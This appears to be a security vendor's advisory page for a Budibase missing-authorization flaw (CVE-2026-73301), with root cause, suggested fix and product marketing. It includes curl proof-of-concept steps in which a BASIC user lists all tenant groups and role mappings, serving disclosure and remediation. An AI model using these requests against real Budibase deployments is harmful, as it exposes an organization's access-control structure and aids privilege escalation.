CVE-2026-73301 is a medium-severity (CVSS 4.3) CWE-862 vulnerability in @budibase/server. O3 Security confirms whether CVE-2026-73301 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Budibase: Missing RBAC on GET /api/global/groups allows BASIC users to enumerate all tenant groups and role mappings
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@budibase/servernpmDescription
Summary
The GET /api/global/groups endpoint on the worker service has no role-based authorization middleware. Any authenticated user (including BASIC role) can enumerate all user groups in the tenant, including their role mappings, user memberships, builder permissions, and the isDefault flag.
Steps to Reproduce
1. Start Budibase
docker run -d --name budibase-poc -p 10000:80 \
-e MINIO_ACCESS_KEY=minio_access -e MINIO_SECRET_KEY=minio_secret \
-e INTERNAL_API_KEY=internal_api_key -e JWT_SECRET=jwt_secret_test \
-e API_ENCRYPTION_KEY=api_enc_key_test123456 \
-e [email protected] \
-e BB_ADMIN_USER_PASSWORD=TestPassword123! \
budibase/budibase:latest
until curl -sf http://localhost:10000/health; do sleep 5; done
2. Login as admin, create a user group, create a BASIC user
# Login as admin
curl -s -c /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/auth/default/login \
-H "Content-Type: application/json" \
-d '{"username":"[email protected]","password":"TestPassword123!"}'
# Create a user group (requires license with user groups feature, or use Budibase Cloud)
# On self-hosted without license, groups may not be available
# If available:
curl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/groups \
-H "Content-Type: application/json" \
-d '{"name":"Secret Admin Group","color":"#ff0000","icon":"AdminPanelSettingsIcon","roles":{"app_abc123":"ADMIN"}}'
# Create a BASIC user (no builder, no admin)
curl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/users \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"BasicPass123!","roles":{},"admin":{"global":false},"builder":{"global":false}}'
3. Login as BASIC user and enumerate all groups (the vulnerability)
# Login as BASIC user
curl -s -c /tmp/bb_basic.txt -X POST http://localhost:10000/api/global/auth/default/login \
-H "Content-Type: application/json" \
-d '{"username":"[email protected]","password":"BasicPass123!"}'
# List ALL groups (should return 403, but returns 200 with full data)
curl -s -b /tmp/bb_basic.txt http://localhost:10000/api/global/groups
Expected: 403 Forbidden (consistent with GET /api/global/groups/:id which requires builderOrAdmin)
Actual: 200 OK with full group data including role mappings, member lists, and builder flags.
Standalone verification (code review)
# In the budibase source tree:
grep -A2 'global/groups"' packages/worker/src/api/routes/global/groups.ts
Output shows the list endpoint has NO auth middleware:
.get("/api/global/groups", # <-- NO auth.builderOrAdmin
requireFeature(Feature.USER_GROUPS),
controller.fetch
Compare with the single-group endpoint directly below:
.get("/api/global/groups/:groupId", # <-- HAS auth.builderOrAdmin
auth.builderOrAdmin,
requireFeature(Feature.USER_GROUPS),
controller.getById
Root Cause
File: packages/worker/src/api/routes/global/groups.ts, lines 40-44
The list endpoint is the ONLY group endpoint without RBAC:
| Endpoint | Auth Middleware |
|---|---|
POST /api/global/groups | auth.adminOnly |
DELETE /api/global/groups/:id/:rev | auth.adminOnly |
GET /api/global/groups/:id | auth.builderOrAdmin |
GET /api/global/groups/:id/users | auth.builderOrAdmin |
GET /api/global/groups | NONE |
Impact
A BASIC-role user can enumerate: all group names/colors/icons, which apps each group accesses and at what role level, user membership lists (user IDs), builder permission flags, and the isDefault flag. This exposes organizational access control structure and aids reconnaissance for privilege escalation.
Suggested Fix
router.get("/api/global/groups",
+ auth.builderOrAdmin,
requireFeature(Feature.USER_GROUPS),
controller.fetch
)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @budibase/server | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @budibase/server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of @budibase/server has shipped for CVE-2026-73301 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-73301 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-73301. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-73301 in your dependencies?
O3 detects CVE-2026-73301 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.